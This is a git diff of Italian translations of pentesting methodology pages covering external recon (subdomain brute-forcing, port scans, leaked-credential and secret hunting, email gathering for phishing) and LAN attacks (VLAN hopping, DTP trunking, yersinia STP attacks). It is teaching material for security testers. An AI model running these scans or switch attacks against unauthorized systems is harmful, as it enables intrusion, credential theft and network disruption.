Controlla per qualche [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Forse qualche azienda sta **utilizzando un dominio** ma ha **perso la proprietà**. Registralo (se abbastanza economico) e fai sapere all'azienda.
Se trovi qualche **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e qualche [**port scan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
Se trovi qualche **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e qualche [**scansione delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
_Nota che a volte il dominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nel campo, fai attenzione._
## Sottodomini
@ -201,7 +201,7 @@ dnsrecon -a -d tesla.com
```
### **OSINT**
Il modo più veloce per ottenere molti sottodomini è cercare in fonti esterne. Gli **strumenti** più utilizzati sono i seguenti (per risultati migliori configura le chiavi API):
Il modo più veloce per ottenere molti subdomini è cercare in fonti esterne. Gli **strumenti** più utilizzati sono i seguenti (per risultati migliori configura le chiavi API):
- [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@ -335,7 +335,7 @@ E anche IP di buoni risolutori DNS. Per generare un elenco di risolutori DNS aff
Gli strumenti più raccomandati per il brute-force DNS sono:
- [**massdns**](https://github.com/blechschmidt/massdns): Questo è stato il primo strumento a eseguire un efficace brute-force DNS. È molto veloce, tuttavia è soggetto a falsi positivi.
- [**massdns**](https://github.com/blechschmidt/massdns): Questo è stato il primo strumento che ha eseguito un efficace brute-force DNS. È molto veloce, tuttavia è soggetto a falsi positivi.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@ -366,7 +366,7 @@ Dopo aver trovato i sottodomini utilizzando fonti aperte e brute-forcing, puoi g
cat subdomains.txt | dnsgen -
```
- [**goaltdns**](https://github.com/subfinder/goaltdns): Dati i domini e i sottodomini, genera permutazioni.
- Puoi ottenere le permutazioni di goaltdns **wordlist** [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
- Puoi ottenere le permutazioni di goaltdns **wordlist** **qui** [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
@ -375,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): Oltre a generare permutazioni di sottodomini, può anche provare a risolverli (ma è meglio usare gli strumenti commentati in precedenza).
- Puoi ottenere le permutazioni di altdns **wordlist** in [**qui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
- Puoi ottenere le permutazioni di altdns **wordlist** [**qui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -395,13 +395,13 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ è un fuzzer di brute-force per sottodomini abbinato a un algoritmo guidato dalla risposta DNS estremamente semplice ma efficace. Utilizza un insieme di dati di input fornito, come una wordlist personalizzata o record DNS/TLS storici, per sintetizzare accuratamente nomi di dominio corrispondenti e ampliarli ulteriormente in un ciclo basato sulle informazioni raccolte durante la scansione DNS.
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ è un fuzzer di brute-force per sottodomini abbinato a un algoritmo guidato dalla risposta DNS immensamente semplice ma efficace. Utilizza un insieme di dati di input fornito, come una wordlist personalizzata o record DNS/TLS storici, per sintetizzare accuratamente nomi di dominio corrispondenti e ampliarli ulteriormente in un ciclo basato sulle informazioni raccolte durante la scansione DNS.
```
echo www | subzuf facebook.com
```
### **Flusso di lavoro per la scoperta di sottodomini**
Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **Trickest workflows** in modo da non dover avviare manualmente un sacco di strumenti sul mio computer:
Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **Trickest workflows** così non devo avviare manualmente un sacco di strumenti sul mio computer:
{{#ref}}
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
@ -435,7 +435,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
#https://github.com/codingo/VHostScan
VHostScan -t example.com
```
> [!NOTE]
> [!TIP]
> Con questa tecnica potresti persino essere in grado di accedere a endpoint interni/nascosti.
### **CORS Brute Force**
@ -455,18 +455,18 @@ Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monito
### **Cercare vulnerabilità**
Controlla per possibili [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Controlla possibili [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Se il **sottodominio** punta a qualche **S3 bucket**, [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/index.html).
Se trovi un **sottodominio con un IP diverso** da quelli che hai già trovato nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
Se trovi un **sottodominio con un IP diverso** da quelli già trovati nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
_Nota che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
## IPs
Nei passaggi iniziali potresti aver **trovato alcuni intervalli di IP, domini e sottodomini**.\
Nei passaggi iniziali potresti aver **trovato alcuni intervalli IP, domini e sottodomini**.\
È tempo di **raccogliere tutti gli IP da quegli intervalli** e per i **domini/sottodomini (query DNS).**
Utilizzando i servizi delle seguenti **api gratuite** puoi anche trovare **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero permetterti di trovare [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
Utilizzando i servizi delle seguenti **api gratuite**, puoi anche trovare **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero permetterti di trovare [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
- [**https://securitytrails.com/**](https://securitytrails.com/)
@ -474,13 +474,13 @@ Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizza
### **Cercare vulnerabilità**
**Scansiona tutte le porte di tutti gli IP che non appartengono a CDN** (poiché è altamente probabile che non troverai nulla di interessante lì). Nei servizi in esecuzione scoperti potresti essere **in grado di trovare vulnerabilità**.
**Scansiona tutte le porte degli IP che non appartengono a CDN** (poiché è altamente probabile che non troverai nulla di interessante lì). Nei servizi in esecuzione scoperti potresti essere **in grado di trovare vulnerabilità**.
**Trova una** [**guida**](../pentesting-network/index.html) **su come scansionare gli host.**
## Caccia ai server web
> Abbiamo trovato tutte le aziende e i loro asset e conosciamo gli intervalli di IP, domini e sottodomini all'interno dell'ambito. È tempo di cercare server web.
> Abbiamo trovato tutte le aziende e i loro asset e conosciamo gli intervalli IP, i domini e i sottodomini all'interno dell'ambito. È tempo di cercare server web.
Nei passaggi precedenti probabilmente hai già eseguito alcune **ricerche sugli IP e domini scoperti**, quindi potresti aver **già trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi rapidi per cercare server web** all'interno dell'ambito.
@ -494,7 +494,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
```
### **Screenshot**
Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove iniziare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare endpoint **strani** che sono più **suscettibili** di essere **vulnerabili**.
Ora che hai scoperto **tutti i server web** presenti nel campo (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove cominciare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare endpoint **strani** che sono più **suscettibili** di essere **vulnerabili**.
Per eseguire l'idea proposta puoi usare [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
@ -502,7 +502,7 @@ Inoltre, potresti poi usare [**eyeballer**](https://github.com/BishopFox/eyeball
## Risorse Cloud Pubbliche
Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto di un'azienda crypto potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto per un'azienda di criptovalute potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Avrai anche bisogno di wordlist di **parole comuni usate nei bucket**:
@ -522,7 +522,7 @@ Se trovi cose come **bucket aperti o funzioni cloud esposte** dovresti **acceder
## Email
Con i **domini** e **sottodomini** all'interno dell'ambito hai fondamentalmente tutto ciò di cui hai **bisogno per iniziare a cercare email**. Queste sono le **API** e **strumenti** che hanno funzionato meglio per me per trovare email di un'azienda:
Con i **domini** e **sottodomini** all'interno del campo hai fondamentalmente tutto ciò di cui hai **bisogno per iniziare a cercare email**. Questi sono le **API** e **strumenti** che hanno funzionato meglio per me per trovare email di un'azienda:
- [**theHarvester**](https://github.com/laramies/theHarvester) - con API
- API di [**https://hunter.io/**](https://hunter.io/) (versione gratuita)
@ -533,7 +533,7 @@ Con i **domini** e **sottodomini** all'interno dell'ambito hai fondamentalmente
Le email saranno utili in seguito per **brute-forzare accessi web e servizi di autenticazione** (come SSH). Inoltre, sono necessarie per **phishing**. Inoltre, queste API ti daranno ancora più **info sulla persona** dietro l'email, che è utile per la campagna di phishing.
## Credential Leaks
## Fughe di Credenziali
Con i **domini,** **sottodomini** e **email** puoi iniziare a cercare credenziali trapelate in passato appartenenti a quelle email:
@ -544,35 +544,36 @@ Con i **domini,** **sottodomini** e **email** puoi iniziare a cercare credenzial
Se trovi credenziali **valide trapelate**, questa è una vittoria molto facile.
## Secrets Leaks
## Fughe di Segreti
Le perdite di credenziali sono correlate a hack di aziende dove **informazioni sensibili sono state trapelate e vendute**. Tuttavia, le aziende potrebbero essere colpite da **altre perdite** le cui informazioni non sono in quelle banche dati:
Le fughe di credenziali sono correlate a hack di aziende dove **informazioni sensibili sono state trapelate e vendute**. Tuttavia, le aziende potrebbero essere colpite da **altre fughe** le cui informazioni non sono in quelle banche dati:
### Github Leaks
### Fughe di Github
Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quell'azienda github.\
Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repo pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente.
Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quell'azienda su github.\
Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repository pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente.
**Leakos** può anche essere usato per eseguire **gitleaks** contro tutto il **testo** fornito **URL passati** ad esso poiché a volte **le pagine web contengono anche segreti**.
#### Github Dorks
#### Dorks di Github
Controlla anche questa **pagina** per potenziali **dorks di github** che potresti cercare nell'organizzazione che stai attaccando:
Controlla anche questa **pagina** per potenziali **github dorks** che potresti cercare nell'organizzazione che stai attaccando:
{{#ref}}
github-leaked-secrets.md
{{#endref}}
### Pastes Leaks
### Fughe di Pastes
A volte gli attaccanti o semplicemente i lavoratori pubblicheranno **contenuti aziendali in un sito di paste**. Questo potrebbe o meno contenere **informazioni sensibili**, ma è molto interessante cercarlo.\
Puoi usare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per cercare in più di 80 siti di paste contemporaneamente.
### Google Dorks
### Dorks di Google
I vecchi ma buoni google dorks sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o potresti usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**.
I dorks di Google, vecchi ma d'oro, sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o puoi usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**.
_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché google ti bloccherà molto molto presto._
_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser di Google non finiranno mai poiché Google ti bloccherà molto, molto presto._
### **Cercare vulnerabilità**
@ -584,6 +585,7 @@ Se hai scoperto che l'azienda ha **codice open-source** puoi **analizzarlo** e c
**A seconda del linguaggio** ci sono diversi **strumenti** che puoi usare:
{{#ref}}
../../network-services-pentesting/pentesting-web/code-review-tools.md
{{#endref}}
@ -592,31 +594,31 @@ Ci sono anche servizi gratuiti che ti permettono di **scansionare repository pub
- [**Snyk**](https://app.snyk.io/)
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/index.html)
## [**Metodologia di Pentesting Web**](../../network-services-pentesting/pentesting-web/index.html)
La **maggior parte delle vulnerabilità** trovate dai bug hunter risiede all'interno delle **applicazioni web**, quindi a questo punto vorrei parlare di una **metodologia di testing delle applicazioni web**, e puoi [**trovare queste informazioni qui**](../../network-services-pentesting/pentesting-web/index.html).
La **maggior parte delle vulnerabilità** trovate dai cacciatori di bug risiede all'interno delle **applicazioni web**, quindi a questo punto vorrei parlare di una **metodologia di test delle applicazioni web**, e puoi [**trovare queste informazioni qui**](../../network-services-pentesting/pentesting-web/index.html).
Voglio anche fare una menzione speciale alla sezione [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), poiché, se non dovresti aspettarti che trovino vulnerabilità molto sensibili, sono utili per implementarle in **workflow per avere alcune informazioni web iniziali.**
Voglio anche fare una menzione speciale alla sezione [**Strumenti open source per scanner automatici web**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), poiché, se non dovresti aspettarti che trovino vulnerabilità molto sensibili, sono utili per implementarle in **flussi di lavoro per avere alcune informazioni web iniziali.**
## Ricapitolazione
> Congratulazioni! A questo punto hai già eseguito **tutta l'enumerazione di base**. Sì, è di base perché può essere fatta molta più enumerazione (vedremo altri trucchi più avanti).
> Congratulazioni! A questo punto hai già eseguito **tutta l'enumerazione di base**. Sì, è di base perché può essere eseguita molta più enumerazione (vedremo altri trucchi più avanti).
Quindi hai già:
1. Trovato tutte le **aziende** all'interno dell'ambito
2. Trovato tutte le **risorse** appartenenti alle aziende (e eseguito alcune scansioni di vulnerabilità se in ambito)
1. Trovato tutte le **aziende** all'interno del campo
2. Trovato tutte le **risorse** appartenenti alle aziende (e eseguito alcune scansioni di vulnerabilità se nel campo)
3. Trovato tutti i **domini** appartenenti alle aziende
4. Trovato tutti i **sottodomini** dei domini (qualche takeover di sottodominio?)
5. Trovato tutti gli **IP** (da e **non da CDN**) all'interno dell'ambito.
5. Trovato tutti gli **IP** (da e **non da CDN**) all'interno del campo.
6. Trovato tutti i **server web** e fatto uno **screenshot** di essi (c'è qualcosa di strano che merita un'analisi più approfondita?)
7. Trovato tutte le **potenziali risorse cloud pubbliche** appartenenti all'azienda.
8. **Email**, **perdite di credenziali** e **perdite di segreti** che potrebbero darti una **grande vittoria molto facilmente**.
8. **Email**, **fughe di credenziali** e **fughe di segreti** che potrebbero darti una **grande vittoria molto facilmente**.
9. **Pentesting di tutti i siti web che hai trovato**
## **Strumenti Automatici di Full Recon**
## **Strumenti Automatici di Recon Completo**
Ci sono diversi strumenti là fuori che eseguiranno parte delle azioni proposte contro un dato ambito.
Ci sono diversi strumenti là fuori che eseguiranno parte delle azioni proposte contro un dato campo.
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)

91
src/generic-methodologies-and-resources/pentesting-network/README.md
View File

@ -13,7 +13,7 @@ In questa situazione hai un **ambito di IP** (forse anche diversi **intervalli**
Questo è il modo **più semplice** e **veloce** per scoprire se un host è attivo o meno.\
Puoi provare a inviare alcuni pacchetti **ICMP** e **aspettarti risposte**. Il modo più semplice è semplicemente inviare una **richiesta di echo** e aspettare la risposta. Puoi farlo usando un semplice `ping` o usando `fping` per **intervalli**.\
Puoi anche usare **nmap** per inviare altri tipi di pacchetti ICMP (questo eviterà i filtri per le comuni richieste-risposte ICMP echo).
Puoi anche usare **nmap** per inviare altri tipi di pacchetti ICMP (questo eviterà i filtri per le comuni richieste-risposte di echo ICMP).
```bash
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
@ -27,7 +27,7 @@ Quindi, ciò di cui hai bisogno è uno **scanner di porte veloce** ([masscan](ht
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
```
Potresti anche eseguire questo passaggio con `nmap`, ma è più lento e in qualche modo `nmap` ha problemi a identificare gli host attivi.
Puoi anche eseguire questo passaggio con `nmap`, ma è più lento e in qualche modo `nmap` ha problemi a identificare gli host attivi.
### Scoperta della Porta HTTP
@ -37,13 +37,13 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### Scoperta delle porte UDP
Puoi anche provare a controllare alcune **porte UDP aperte** per decidere se dovresti **prestare maggiore attenzione** a un **host.** Poiché i servizi UDP di solito **non rispondono** con **alcun dato** a un pacchetto di sondaggio UDP vuoto, è difficile dire se una porta è filtrata o aperta. Il modo più semplice per decidere questo è inviare un pacchetto relativo al servizio in esecuzione, e poiché non sai quale servizio è in esecuzione, dovresti provare il più probabile in base al numero di porta:
Potresti anche provare a controllare alcune **porte UDP aperte** per decidere se dovresti **prestare maggiore attenzione** a un **host.** Poiché i servizi UDP di solito **non rispondono** con **alcun dato** a un pacchetto di sondaggio UDP vuoto, è difficile dire se una porta è filtrata o aperta. Il modo più semplice per decidere questo è inviare un pacchetto relativo al servizio in esecuzione, e poiché non sai quale servizio è in esecuzione, dovresti provare il più probabile in base al numero di porta:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```
La riga nmap proposta in precedenza testerà i **top 1000 UDP ports** in ogni host all'interno dell'**intervallo /24**, ma anche solo questo richiederà **>20min**. Se hai bisogno di **risultati più rapidi**, puoi utilizzare [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Questo invierà questi **UDP probes** al loro **port previsto** (per un intervallo /24 richiederà solo 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
La riga nmap proposta prima testerà i **top 1000 UDP ports** in ogni host all'interno dell'**/24** range, ma anche solo questo richiederà **>20min**. Se hai bisogno di **risultati più rapidi**, puoi usare [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Questo invierà questi **UDP probes** al loro **port atteso** (per un range /24 questo richiederà solo 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### SCTP Port Discovery
```bash
@ -168,13 +168,15 @@ nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
```
### IDS e IPS evasione
### Evasione di IDS e IPS
{{#ref}}
ids-evasion.md
{{#endref}}
### **Altre opzioni di nmap**
### **Ulteriori opzioni di nmap**
{{#ref}}
nmap-summary-esp.md
@ -182,7 +184,7 @@ nmap-summary-esp.md
### Rivelare indirizzi IP interni
**Router, firewall e dispositivi di rete mal configurati** a volte rispondono a probe di rete utilizzando **indirizzi sorgente non pubblici**. **tcpdump** può essere utilizzato per identificare i pacchetti ricevuti da indirizzi privati durante i test. In particolare, su Kali Linux, i pacchetti possono essere catturati sull'**interfaccia eth2**, che è accessibile da Internet pubblico. È importante notare che se la tua configurazione è dietro un NAT o un firewall, tali pacchetti potrebbero essere filtrati.
**Router, firewall e dispositivi di rete mal configurati** a volte rispondono a probe di rete utilizzando **indirizzi sorgente non pubblici**. **tcpdump** può essere utilizzato per identificare i pacchetti ricevuti da indirizzi privati durante i test. In particolare, su Kali Linux, i pacchetti possono essere catturati sull'**interfaccia eth2**, accessibile da Internet pubblico. È importante notare che se la tua configurazione è dietro un NAT o un firewall, tali pacchetti potrebbero essere filtrati.
```bash
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -192,7 +194,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## Sniffing
Con lo sniffing puoi apprendere dettagli sugli intervalli IP, le dimensioni delle subnet, gli indirizzi MAC e i nomi host esaminando i frame e i pacchetti catturati. Se la rete è mal configurata o il fabric di switching è sotto stress, gli attaccanti possono catturare materiale sensibile tramite sniffing di rete passivo.
Con lo sniffing puoi apprendere dettagli su intervalli IP, dimensioni delle subnet, indirizzi MAC e nomi host esaminando i frame e i pacchetti catturati. Se la rete è mal configurata o il fabric di switching è sotto stress, gli attaccanti possono catturare materiale sensibile tramite sniffing di rete passivo.
Se una rete Ethernet switchata è configurata correttamente, vedrai solo frame di broadcast e materiale destinato al tuo indirizzo MAC.
@ -220,9 +222,9 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
Ovviamente.
### Catturare credenziali
### Cattura delle credenziali
Puoi usare strumenti come [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) per analizzare le credenziali da un pcap o da un'interfaccia live.
Puoi utilizzare strumenti come [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) per analizzare le credenziali da un pcap o da un'interfaccia live.
## Attacchi LAN
@ -256,9 +258,9 @@ In moderni switch questa vulnerabilità è stata risolta.
#### Trunking Dinamico
Il **Dynamic Trunking Protocol (DTP)** è progettato come un protocollo di livello link per facilitare un sistema automatico di trunking, consentendo ai switch di selezionare automaticamente le porte per la modalità trunk (Trunk) o la modalità non trunk. L'implementazione del **DTP** è spesso vista come indicativa di un design di rete subottimale, sottolineando l'importanza di configurare manualmente i trunk solo dove necessario e garantire una corretta documentazione.
Il **Dynamic Trunking Protocol (DTP)** è progettato come un protocollo di livello link per facilitare un sistema automatico per il trunking, consentendo ai switch di selezionare automaticamente le porte per la modalità trunk (Trunk) o la modalità non trunk. L'implementazione del **DTP** è spesso vista come indicativa di un design di rete subottimale, sottolineando l'importanza di configurare manualmente i trunk solo dove necessario e garantire una corretta documentazione.
Per impostazione predefinita, le porte dello switch sono impostate per operare in modalità Dynamic Auto, il che significa che sono pronte a iniziare il trunking se sollecitate da uno switch vicino. Un problema di sicurezza si presenta quando un pentester o un attaccante si connette allo switch e invia un frame DTP Desirable, costringendo la porta a entrare in modalità trunk. Questa azione consente all'attaccante di enumerare le VLAN attraverso l'analisi dei frame STP e di eludere la segmentazione delle VLAN configurando interfacce virtuali.
Per impostazione predefinita, le porte dello switch sono impostate per operare in modalità Dynamic Auto, il che significa che sono pronte a iniziare il trunking se sollecitate da uno switch vicino. Un problema di sicurezza sorge quando un pentester o un attaccante si connette allo switch e invia un frame DTP Desirable, costringendo la porta a entrare in modalità trunk. Questa azione consente all'attaccante di enumerare le VLAN attraverso l'analisi dei frame STP e di eludere la segmentazione delle VLAN configurando interfacce virtuali.
La presenza di DTP in molti switch per impostazione predefinita può essere sfruttata dagli avversari per imitare il comportamento di uno switch, guadagnando così accesso al traffico su tutte le VLAN. Lo script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) è utilizzato per monitorare un'interfaccia, rivelando se uno switch è in modalità Default, Trunk, Dynamic, Auto o Access—quest'ultima essendo l'unica configurazione immune agli attacchi di VLAN hopping. Questo strumento valuta lo stato di vulnerabilità dello switch.
@ -327,7 +329,7 @@ L'attacco discusso di **Dynamic Trunking e creazione di interfacce virtuali per
#### Double Tagging
Se un attaccante conosce il valore del **MAC, IP e VLAN ID dell'host vittima**, potrebbe provare a **doppio taggare un frame** con il suo VLAN designato e il VLAN della vittima e inviare un pacchetto. Poiché la **vittima non sarà in grado di connettersi di nuovo** con l'attaccante, quindi la **migliore opzione per l'attaccante è comunicare via UDP** a protocolli che possono eseguire alcune azioni interessanti (come SNMP).
Se un attaccante conosce il valore del **MAC, IP e VLAN ID dell'host vittima**, potrebbe provare a **doppiare un frame** con il suo VLAN designato e il VLAN della vittima e inviare un pacchetto. Poiché la **vittima non sarà in grado di connettersi di nuovo** con l'attaccante, quindi la **migliore opzione per l'attaccante è comunicare tramite UDP** a protocolli che possono eseguire alcune azioni interessanti (come SNMP).
Un'altra opzione per l'attaccante è lanciare una **scansione delle porte TCP spoofando un IP controllato dall'attaccante e accessibile dalla vittima** (probabilmente tramite internet). Poi, l'attaccante potrebbe sniffare nel secondo host di sua proprietà se riceve alcuni pacchetti dalla vittima.
@ -366,12 +368,12 @@ Il VTP (VLAN Trunking Protocol) centralizza la gestione delle VLAN. Utilizza num
#### Ruoli del Dominio VTP
- **Server VTP:** Gestisce le VLAN—crea, elimina, modifica. Trasmette annunci VTP ai membri del dominio.
- **Client VTP:** Riceve annunci VTP per sincronizzare il proprio database VLAN. Questo ruolo è limitato dalle modifiche locali alla configurazione delle VLAN.
- **Client VTP:** Riceve annunci VTP per sincronizzare il proprio database VLAN. Questo ruolo è limitato dalle modifiche alle configurazioni VLAN locali.
- **VTP Trasparente:** Non partecipa agli aggiornamenti VTP ma inoltra gli annunci VTP. Non è influenzato dagli attacchi VTP, mantenendo un numero di revisione costante di zero.
#### Tipi di Annunci VTP
- **Annuncio di Riepilogo:** Trasmetto dal server VTP ogni 300 secondi, portando informazioni essenziali sul dominio.
- **Annuncio di Riepilogo:** Trasmetto dal server VTP ogni 300 secondi, contenente informazioni essenziali sul dominio.
- **Annuncio di Sottoinsieme:** Inviato dopo le modifiche alla configurazione delle VLAN.
- **Richiesta di Annuncio:** Emessa da un client VTP per richiedere un Annuncio di Riepilogo, tipicamente in risposta alla rilevazione di un numero di revisione di configurazione più elevato.
@ -397,7 +399,7 @@ yersinia stp -attack 3
```
#### **Attacco STP TCP**
Quando viene inviato un TCP, la tabella CAM degli switch verrà cancellata in 15s. Poi, se stai inviando continuamente questo tipo di pacchetti, la tabella CAM verrà riavviata continuamente (o ogni 15 secondi) e quando viene riavviata, lo switch si comporta come un hub.
Quando viene inviato un TCP, la tabella CAM degli switch verrà cancellata in 15 secondi. Poi, se stai inviando continuamente questo tipo di pacchetti, la tabella CAM verrà riavviata continuamente (o ogni 15 secondi) e quando viene riavviata, lo switch si comporta come un hub.
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
@ -405,7 +407,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
#### **Attacco STP Root**
L'attaccante simula il comportamento di uno switch per diventare il root STP della rete. Poi, più dati passeranno attraverso di lui. Questo è interessante quando sei connesso a due switch diversi.\
